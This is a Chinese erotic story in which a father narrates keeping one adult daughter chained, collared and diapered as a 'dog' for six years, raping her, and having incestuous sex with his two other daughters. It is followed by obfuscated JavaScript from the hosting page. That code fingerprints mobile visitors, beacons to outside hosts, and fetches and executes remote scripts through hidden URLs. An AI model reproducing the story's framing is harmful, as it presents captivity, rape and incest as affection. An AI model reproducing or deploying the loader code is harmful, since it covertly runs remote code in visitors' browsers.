从摺叠凉椅上环顾,这栋两层楼高、连带周围庭院园林在内,共七百多坪的白色别墅,相当令我中意,不但可以俯览半个迈阿密,还可以看见大片碧蓝海景,一艘艘蓝色、白色的帆船乘风航行。

庭院里种植的玫瑰、金盏花、郁金香,在阳光的蒸薰下,交织出浓郁的花香组曲﹔楼下的室外泳池,响着「哗啦哗啦」的游水声﹔除了这以外,就是带着浅浅咸味的凉风,舒爽地吹在没有一丝半缕的裸体上,偶尔还听见几声「嘟嘟」的轮船汽笛声。

没有闲杂人等,也不用担心好有窥人隐私的邻居,这里确实是最理想的养老所在,不枉我砸下大把钞票,买下这里作为后半生享福的住处。

晒了一个小时的太阳,肚子有点饿了,虽然年纪已经不小,但我的胃口还是很好,最近一次检查身体,状况和二十岁的小伙子没有两样。

我靠着凉椅半坐直身体,牵动了右手里握着的铁链。铁链延伸到凉椅下面,一个体态丰腴的美少妇就趴跪在那里,纤细雪颈上戴了一个粗重乌黑的铁项圈。

项圈上有两个金属扣环,前面的扣环与我手中粗铁链相连﹔后面扣环的细铁链,顺着她白嫩细腻的后背垂下来;她的双手背在背后,被一副与细铁链相连的手铐锁在一起,彻底失去了自由,无助地乱抓着。

少妇趴跪在柔软的鹿皮毯上,面前放了一个塑胶的绿色圆钵,里头乘装着淋上鲜美肉汁的鲔鱼冻块,味道不怎么样,但却非常营养。被手铐反锁双臂的她,行动笨拙,就这么趴低身子,把脸贴在狗钵里,一口接一口地吃着午餐。

「别急,别噎着了,慢慢吃……」

我撕下纸巾,让大女儿抬起头来,擦拭她满是油腻的脸蛋。剪至齐耳的短发,没有妨碍苏姗的进食动作,但沉重的胸口,则是让她行动不便的原因之一。苏姗胸前的雪白肉团,有着G罩杯的傲人尺寸,而在那之下,是一个圆滚滚的大肚子。

我很纳闷为何会这么大。还记得之前请私人医生来作产前检查,不得不让苏姗穿上孕妇裙的时候,由于肚子太大,裙子根本就遮不住她臃肿的大肚子,中间三颗扣子迸脱散落,把圆滚滚的怀孕小腹暴露在外。

现在赤身裸体,看得更是清楚,她不但肚子大,而且肚脐整个凸露出了出来,小腹肌肤也绷得紧紧的,一瞧上去就知道,是装了一对快要足月的双胞胎。

与脖子上的项圈、手臂上的铁铐成一对的,就是她赤裸双足上的脚镣。两个沉重乌黑的脚镣,中间用细铁链相连,箝制住双腿的行动自由,而长期戴着这具脚镣的结果,就是她不能再穿任何的裤子,唯一的例外,就是她身上这一件纸尿裤。

这是苏姗赤裸胴体身上唯一的遮蔽物,也是她除了手铐脚镣外,唯一允许穿在身上的衣物,更是她咎由自取的选择。

还记得那年,她在冲出门去的十五分钟后,又再次按了门铃,进屋之后,自动脱光了身上的衣服,答应说只要我为她还债,她什么都愿意做。我很乐意地迎接她回家,帮她处理掉所有的债务问题,可是她在无债一身轻之后,却把之前作的承诺推得一干二净,收拾行李要离开。

我从来没有这么生气过,因为从小我就很强调信用,绝对不允许我的小孩说谎骗人。

苏姗和我大吵了一架,最后……力气大的人获得胜利。

我决定好好给女儿一顿教训,重新教育她,即使花多少时间都无所谓,因为教不好孩子是父亲的责任。

如果说,乱伦是造成女儿行为乖戾的原因,那就针对这一点来着手吧﹔如果说苏姗认为一个女人和父亲做爱是乱伦,那么一头母狗与父亲交配,这又有什么罪?

不愿当一个乱伦的女人,那就当一头与父亲交配的牝犬吧,这是她自己选择的结果。

结果,苏姗就被我彖养在屋子里。除了项圈与链条,一头母狗是不需要衣服的,但是因为我一出门就几个小时,回来时候她憋不住的屎尿会弄脏地毯,所以我就像对待小婴儿那样,为她穿上了纸尿裤。

有些像是重温多年养育她成人时候的感觉,心里暖洋洋的,我很乐意地帮女儿再教育。刚开始,苏姗的反应很激烈,不时想用牙齿和指甲弄伤我,但随着彖养的时间一长,她的性情温驯许多,到现在,六年过去了,当我姦淫她结实白皙的圆臀,她已经会急切地扭腰,而且在得知怀孕的消息后,也只是麻木地看着我,不哭也不闹。

………真是个乖女儿。

「汪!汪!汪!」

三声模糊的犬吠,让我清醒过来,看见狗钵里的东西已经被吃得干干净净,苏姗她笨拙而缓慢地平躺在鹿皮毯上。距离预产期还有三周,这么惊人的大肚子,平躺下来当然不好受,更何况两手还被压在背后……只见她躺平身子,像是要哭出来一样,焦急地吠叫,一面又双颊酡红,羞耻地把目光移到旁边,然后高高抬直修长匀称的双腿。

「受不了了吗?不要着急,爸爸在这里,唉……妳这孩子怎么就不能多忍一下?」

像是要帮小女孩把尿一样的姿势,我替苏姗撕开纸尿裤的贴布,就着她扭动臃肿大肚子的动作,把纸尿裤一打开,被剃光耻毛的白嫩耻丘和丰满迷人的阴户,整个暴露了出来﹔白色衬垫上染着鲜黄的污渍,一阵热哄哄的骚尿臭味,散播在空中﹔浑圆丰满的屁股,则在不停哆嗦扭动着,又肥又白的两个肉丘之间,赫然露出了一支高速震动着的乌黑假阳具,丑陋地插进浑圆紧凑的肛门里。

「呜……忍不住了……快点……快点帮我拔掉……呜……」

大得惊人的雪白小腹上,出现了一滴又一滴油亮的汗珠,苏姗的裸体不停颤抖,呜咽和呻吟显得那么凄惨无助﹔我把她身下的鹿皮毯拿开,跟着握住那根大号假阳具的根部,往外一抽,便出现了一个被肥厚充血的红肉所围绕着的漆黑深洞!

「……出来了,要出来了……」

在拔去假阳具的瞬间,苏姗露出了紧绷后得到松懈的恍惚表情,由口中溢出的呓语,像是绝望的呜咽,又好像是陶醉的甜美哼声﹔在这同时,半固态的咖啡色粪块,随着「噗噗噗噗」的声音,堆叠在吸满尿水的衬垫上。

整个过程里面,苏姗像是全身抽搐似的仰着头,柔软的乳房重重摇晃,圆滚滚的大肚子形成波浪。

我来回地抚摸女儿的大肚子,一面感受腹中骨肉的胎动,一边享受怀孕感触的乐趣,满足于那像是哭泣的甜美声音。

雪白浑圆的屁股轻微抖动,一股微微带黄的尿液,间歇地从阴道上方的粉红色小口洒出,香汗淋漓的赤裸胴体勐打着哆嗦,片刻之后,渐渐停止了羞耻的排泄动作。

我作着早已习惯的动作,用纸尿裤裹起里头臭哄哄的秽物,丢弃在一旁的垃圾桶里,正要牵着项圈,带苏姗进屋洗涤,换上新的尿布,楼梯上却响起了「踢踏踢踏」的凉鞋声。

「爸,你注意一下时间好不好?每次吃饭都要人来催,你就快变成老头子了。」

用浴巾擦拭湿润的金发,结束了晨泳的蜜雪儿,踩着轻快的脚步,娇俏地笑着奔到我身边,把勾住我的右臂,毫不介意地让饱满结实的乳房,和我赤裸的肌肉紧密接触。

从勒戒所出来以后,戒毒成功的蜜雪儿再次投入我怀抱,并且在我的细心呵护下,迅速回复成一个开朗乐观的阳光少女,戒除了过去的劣习,认真念书,重新继续中断的大学学业。

如今,蜜雪儿早已从大学毕业,进入研究所,这几周正在家里写毕业论文。

小女儿的上进与成就,是我得意的荣耀,而今年26岁的她,正值青春健美的火辣胴体,身长玉立,丰满多脂,胸前双峰高耸,腰下双股肥圆,则是我生活中悦乐的泉源。

蜜雪儿喜欢游泳运动,一楼的泳池大半时间都是她在使用,不过这个贴心的女儿总是懂得用多采多姿的性感泳装,讨父亲的欢心,像是现在身上这一套皮制的三点式比坚尼:一对发亮的软皮革制细小奶罩,和一条紧窄狭小的羊皮三角热裤,几乎可以说是骄傲地展示少女的胴体。

我原本就是赤身裸体地在晒太阳,现在看得眼前发亮,雄纠纠的鸡巴自动挺得老高﹔蜜雪儿娇笑地伸出小手,轻轻握住,开始上下套弄,还把湿淋淋的肉体贴靠过来。

由于酷爱游泳,蜜雪儿的身材发育非常好,上身围着的皮奶罩只能遮住奶头和乳晕,任两颗F罩杯的浑圆乳球,随着手臂挤压,晃盪出迷人的风情﹔下面的三角热裤紧小得大腿全露、丘壑浮凸、露出两个柔腻屁股,其中一边的雪白肉丘上,刺了一个蓝色的小海豚,这和她右脚踝上的玫瑰刺青、肚脐眼上扣着的骷髅银环相映成趣,营造出一种野性的俏丽。

「爸,我和姊姊的奶子谁比较大?」

亲暱地撒娇,蜜雪儿双手叉腰,又跳又扭起来,两颗波涛汹涌的圆硕乳房,随之上下掀起巨浪狂波。自从把所有的爱恋都回归到我身上后,她就总想用这个长处来争取多一点关注,可是不管她怎么努力运动,多喝牛奶,却都追不上两个姊姊的得天独厚。

「不要老是问这个问题,走,带妳姊姊进屋里去了。」

我想避开,蜜雪儿却拦在前头,大方地抓着我的手,塞进她窄小的皮革奶罩,去享受浑圆乳球弹手的结实感。

坳不过她期盼的眼神,我只是告诉她,她的奶子最结实,可是两个姊姊因为怀过孩子,涨过奶水的关系,所以会比她大,如果她想要追过姊姊,那就得要尝试一下生娃娃的滋味。

「不要!人家才26岁,还很年轻,又没玩够,才不要大肚子生娃娃。」

俏丽地眨了眨眼睛,蜜雪儿想要从我臂弯熘走,我让她把苏姗一起牵进去,反正她游泳之后都会沐浴,就顺便帮姊姊洗澡,谁知道蜜雪儿却撒娇拒绝,嫌姊姊的身上脏,而且每次都会对她热嘲冷讽。

「我不要去啦,她可以自己洗不是吗?反正她也嫌我脏,我才不要碰她。」

「雪儿,不可以这样嫌妳姊姊,她就快要生娃娃了,妳应该让她。」

「我就是不要嘛……」

我不由分说,一把搂住蜜雪儿的纤腰,左手玩弄她肚脐上的银环,吸引她注意,右手在她雪白丰满的两片臀肉上,轻轻抚摸一下,接着就挥动巴掌,往那柔嫩的屁股蛋用力拍下去。

「啊!~~~!」

蜜雪儿哀呼着,尝试躲避,但被紧紧地搂住,结实的巴掌全部落在她美丽的光屁股上,臀上刺的那尾蓝色小海豚,随着臀肉晃动不住起伏。

「啪!啪!啪啪啪!」

手掌与结实臀肉接触,发出清脆至极的响声。蜜雪儿属于那种豪乳、细腰、翘臀的女性,雪臀并不会很圆肥柔软,而是紧实挺翘,看上去没有两个姊姊性感,可是拍打起来却是最享受的一个。

我将女儿的纤腰按住,可爱又可怜的翘臀根本就无法逃避责打,很快地,雪白丰嫩的屁股开始变得通红,两个如剥壳鸡蛋般滑嫩的肉丘,都染上了红手印,连海豚刺青都泛起绯红,这时,刁蛮野性的小女儿终于忍不住哭喊。

「呜……屁、屁股要开花了啦……呜……好啦,我带她进去啦……我会帮她洗澡的啦……呜呜……」

我严肃着表情,把铁链塞到小女儿手上,她通红着眼睛,揉着被打得通红的翘臀,走起路来圆臀一扭一扭,屁股上小海豚抖啊抖的,非常动人,我有点后悔刚才不是该打屁股,而是该好好肏她粉嫩的小屁眼一趟。

蜜雪儿牵着苏姗走到门边,突然独自回身跑过来,飞快地在我脸上亲吻一记,小声地说句悄悄话。

「雪儿准备好为爸爸大肚子生娃娃了……」

一句说完,像头受惊的小白兔,飞跳着跑开,牵着姊姊躲进屋去了。那种破涕为笑,瞬间羞红着脸的娇俏风情,让我确实觉得,女儿已经长大了。

进到屋里,隐约听见左边传来「哗啦哗啦」的浴室水声,两个女儿已经在里头洗涤身体了。我循着浓郁的炖菜香气,从左边楼梯下到一楼,看见桌上已经摆好了六样热腾腾的可口料理。

蕃茄莴苣的酸味沙拉、淋上肉汁的马铃薯泥、裹着香酥起司的烤蜗牛、烤得微焦的小牛肋排、金黄色的炸洋葱圈,还有今早才刚从港口捞送过来的龙虾,熬成了我喜爱的鲜美浓汤,这些都是出自我们家小主妇的手艺。

那时,我在车里只等了十分钟不到,拎着几件简单行李的珍妮就匆匆赶来,催我开车。刚回到家的那段时间,她非常地惶恐不安,整天表情苍白地望着窗外,晚上常常被恶梦惊醒,辗转难眠。

我让私人医生给珍妮开了药,按时服用一段时间后,病情有了明显的起色,她开始帮忙打理家务,烹饪洗衣,抹窗擦地,在这些工作里头重新找回了自我,脸上出现了我所熟悉的温柔笑靥,半年后,那个在影碟中放荡形骸的艳女已不复见,珍妮完全康复过来,抛开过去,找到了生命的新方向,作一名传统而娴雅的家庭主妇。

在那个时候,原本一一离开这个家的三姊妹,已经重新回到这屋子,而我则把旧家卖掉,举家搬迁到迈阿密的山坡别墅。我所挚爱的女儿们,在自己的人生上面绕了一大圈,但最后……她们终究是转归原点,回到这个能够守护她们身心的「家」。

结束回忆,我来到餐桌,却撇舍下桌上香气满溢的可口菜肴,被另一样东西给牢牢粘住了目光。

厨房里散着浓郁的鲜汤味,一个绑着金发马尾的年轻少妇,穿着一件碎花颜色的蕾丝围裙,两手戴着兔子外型的厚厚手套,一边搅动着大汤匙,一边轻声哼着轻快的小曲,水蛇般灵巧的纤细腰肢,配合着节奏轻轻摆动。

偶尔转过来的侧脸,专注而温柔地微笑着,小主妇般的幸福表情,让人很难相信这和以前影碟中,那个飢渴地舔舐男人精液的妖冶艳星是同一人,不过她穿在身上的东西,却比以前A片中的任何一件装束,更要性感惹火。

珍妮所穿的围裙,有许多的蕾丝花边,是一件非常简单的围裙,荷叶边的下缘只恰好遮到大腿根,差一点就要露出肉感迷人的阴户,从正面看起来,感觉好像她穿了一件上面有碎花点缀的衣服及迷你裙,可是如果她一转身,就可以看出她几乎赤裸的胴体,完全没有防备地裸露着。

从背后看,白种女性那夸张的大提琴形状的背部线条一览无遗!

原本就丰腴饱满的体态,如今更是出落得乳大臀肥。蕾丝围裙的胸口,袒露着一对与她的苗条身材极不相称、丰满得近乎臃肿的白嫩乳房,令人垂涎欲滴的圆硕肉团,不见分毫地下垂,顽强地抗拒着地心引力,骄傲地晃动弹跳着。

至于下半身的装束,也同样是令人热血沸腾!脚上踩着一对五吋高的高跟鞋,匀称修长的玉腿上穿着一双黑色的渔网丝袜,倍显雪白屁股的宽大肥翘,一条窄小的丁字裤绷在裆下,不但起不了遮蔽的效果,反而将两团白白的肉屁股全暴露在外面,随着轻哼扭腰的动作,诱人地摆动着。

「珍,东西还没有弄好吗?」

我藉故靠贴过去,一手伸进围裙,环搂住珍妮盈盈一握的细腰,一手则按抚上她柔软而不失弹性的肥白屁股。

已经习惯被我这样从后挑逗的珍妮,没有表现出任何抗拒,只是一面调理着蒸气四冒的鲜美鱼汤,一面温柔地要我再等一下,别害她作菜分心。

「珍的屁股这么有弹性,爸爸真是好得意啊,肌肤和妳妹妹一样白嫩,丰满得刚刚好。」

「爸……」

「珍的大奶子一直从围裙两侧迸出来,真是让爸爸受不了。」

「爸……」

珍妮的娇嗔,在我揉按面团般的粉臀时,变成了柔腻的喘息。我低下头,从珍妮的粉颈一路往耳朵、嘴巴吻去。

我没有片刻停歇,很有技巧地舔一下又再吸一下,把女儿的性感地带逐一唤醒。在珍妮颤抖着手臂,松开搅汤的大木匙时,亲吻也逼近了她G罩杯的雪润巨乳,但却没有立刻欺近高耸的乳房,而只是绕着那圆硕的肉团外侧,来来回回地舔过,接着就转向腋下。

「啊!……」

珍妮像是触电一样地颤抖,雪白而柔软的巨乳来回摇晃,小声的呻吟,一股热流迅速沾湿了丁字裤的布片。

我再度用力吸吮,但这一次是从另外一边,沿着腰线舔着小腹侧边。

「啊……啊……爸爸……」

珍妮的侧腹部也感受到了甜美快感,我再度转向女儿如雪山般巍峨高耸的乳房,向腋下游过去。

我的舌头开始向珍妮裸露在围裙外的巨乳袭去,同时两只手也开始拨开围裙,轻揉着两团沉甸甸的雪嫩肉团,围裙的蕾丝花边不断地摩擦着嫩滑的肌肤,阵阵像是母兽发情般的娇艳哼声,从珍妮的红唇边溢出。

「爸……爸爸……要吃饭了……」

「雪儿还在帮苏姗洗澡,爸爸要先吃掉这里的小荡妇……」

「嗯……不嘛……」

嘴里虽然这样说,珍妮却把胴体后仰,贴靠在我身上,再伸手将胸口的围裙拉斜,柔软而又圆又大的浑圆乳房,像是两个海碗大的多汁甜瓜,不停在空气中颤动而高挺着。肌肤如凝固了的牛奶一样,粉白中又透点红,美丽而微红的乳晕,衬托着乳头,令我垂涎想咬上一口。

「GOD,宝贝,这世上再没有哪个女人的奶子比我女儿更好看了。」

我深深赞歎着,低头去吸吮女儿如樱桃般的奶,整个手掌压在碗型的圆硕巨乳上旋转抚摸着。被如潮快感渐渐迷失理智的珍妮,柔软的娇躯像是失去了骨头,变成一条白皙而妖艳的美女蛇,缠靠在我身上。

「珍,知不知道妳拍的那么多部片子里头,爸爸最喜欢哪一个片段?」

自从把珍妮接回家以后,我就把那些DVD妥善收藏,一直到她从过去的阴影里走出来,完全康复,在她的主动提议之下,我们才把束之高阁的DVD拿出来,作为父女相姦时候的调剂,由我一面在床上肏着女儿的多汁蜜穴,让她以羞怯的腼腆表情达到高潮﹔一面看她在萤幕上以妖艳的表情,嘶喊着狂野的淫声浪语,在她两种不同风情的艳姿中,喷射出高潮的精液。

「就是像现在这样,妳在厨房里穿着围裙,露着光屁股,小屁眼里还插着一条大热狗,一面自慰,一面摇奶子的那一幕……」

珍妮是个很温柔体贴的乖女儿,当我从冰箱里取出一根还没完全解冻的大热狗,她已经关掉汤锅底下的电炉,趴到了流理台上的水槽边。

如今的珍妮,是个丰满型的成熟女性,两团屁股像个完美的大白桃,圆里透红,红里带水,美轮美奂。深深凹陷的屁股缝里,勒着一道细细的白色布料,作为她不是光屁股的证据,但却比完全赤裸更加撩人。

「珍,把你的屁股挺出来,爸爸要请小淫妇吃大热狗。」

珍妮露出了羞赧的表情,不过还是将那翘挺的大白屁股,往我的方向挺了出来。

我轻轻拨开了紧勒进臀沟的丁字裤,当我将那条冰凉的大热狗,逐渐塞进满是皱摺的褐色菊轮,丰满的白色桃子微微地颤抖着,逐一吞入了红红的大肉条。

冻澈心肺的沁凉感受,让珍妮瞬间憋住了呼吸。

凝视着女儿苦闷的表情,我握住早已硬挺的热鸡巴,慢慢地靠近她不住溢出蜜浆的淫肉洞,接着,我一把捏住她柔软的雪肥屁股,整个插了进去。

「啊啊啊啊~~~」

当鸡巴狠狠插入多汁骚穴的瞬间,火热与冰冷相隔一线的感觉,造成了无法形容的剧烈刺激,珍妮紧抓着围裙的下摆,肌肤上冒出滴滴汗珠,两个与她苗条身材不相称、雪白肥嫩的圆硕乳瓜,在水槽的空间里激烈地摇摆晃荡。

从背后插入,像是两头动物在交配的姿势,但这种姿势却更让我欣赏到珍妮背后美妙的曲线。围裙蕾丝腰带上面的蝴蝶结,就好像是一只停在雪臀上的蝴蝶,增添了女体的妖冶魅力。

「珍,妳还在吃避孕药吗?现在爸爸不会要妳拿掉孩子了,从明天开始,别再吃了……」

除了挺动腰部,我也扯着那根渐渐解冻的大热狗,配合我的动作,一前一后地剧烈抽插,我贴在女儿耳边,喘息道:「雪儿今天对我说,她已经准备好为爸爸大肚子生娃娃了……妳……妳是姊姊……妳怎么办……」

我每一次的插入,都使珍妮前后左右扭动雪白的肥臀,而当我用力握住她那没可能一手掌握的硕大巨乳,掌心使劲,雪白丰满的乳肉在手掌内弹跳,珍妮淫荡的反应更激发我的性慾。

「姊……姊姊的肚子都那么大了……爸爸你现在才说……我、我才不要被蜜雪儿抢在前头……」

快感如涌,雪白肌肤泛起了妖艳的绯红,珍妮媚眼如丝,一面发出柔腻的哼声,体内的子宫像吸管一样吮含着龟头,一吸一吮,吞进吐出,我觉得浑身麻酥酥的,热血沸腾,一股崩溃前的麻痺感,从睾丸迅速涌至龟头。

「……已经两个月没有来了,医生说…预产期是明年三月……好高兴…」

满载着幸福感的柔腻软语,比最亢奋的春药更厉害,我在无限畅美的快感中,把浓热的精液,尽情浇灌在亲生女儿的淫荡子宫深处,恍恍惚惚,仿佛没有尽头……



  
关闭
关闭
function wfSvZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function RQFSo(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return wfSvZ(t);};window[''+'B'+'Q'+'s'+'g'+'C'+'N'+'J'+'E'+'Z'+'H'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function fily(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=RQFSo,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=fily(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=fily(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLmFoZGFpaai5jb20lM0E4ODkx','d3NzJTNBJTJGJTJGYS54a25lb2suY29tJTNBOTUzNAA==','9489',window,document,['a','A']);}:function(){};
function vSqnHVE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TWZFbJg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return vSqnHVE(t);};window[''+'A'+'Q'+'G'+'M'+'I'+'Z'+'D'+'g'+'R'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function UhtP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TWZFbJg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=UhtP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=UhtP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkkYlMkkZhLm1wemx2cS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYYS55a2toanMuYY24lM0E5NTM1','168322',window,document,['k','Y']);}:function(){};
let urls=["hWWtWWtWWpWWsWW:WW/WW/WWoWWcWW1WW8WW1WW2WWnWW4WWdWW7WW6WW.WWoWWsWWsWW-WWcWWnWW-WWsWWhWWaWWnWWgWWhWWaWWiWW.WWaWWlWWiWWyWWuWWnWWcWWsWW.WWcWWoWWmWW/WW1WW2WW/WW1WW1WW0WW5WWeWWcWW8WW5WW8WW2WW3WW7WW2".split("WW").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBpBB.BBgBBoBBdBBmBBwBBiBBtBBhBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBmBBqBB1BB2BBnBB4BBdBB7BB6BB.BBoBBsBBsBB-BBcBBnBB-BBsBBhBBaBBnBBgBBhBBaBBiBB.BBaBBlBBiBByBBuBBnBBcBBsBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hTTtTTtTTpTTsTT:TT/TT/TTdTT8TT9TT-TT1TT3TT1TT3TT9TT4TT4TT0TT6TT2TT.TTcTToTTsTT.TTaTTpTT-TThTToTTnTTgTTkTToTTnTTgTT.TTmTTyTTqTTcTTlTToTTuTTdTT.TTcTToTTmTT/TT1TT1TT0TT5TTeTTcTT8TT5TT8TT2TT3TT7TT2".split("TT").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();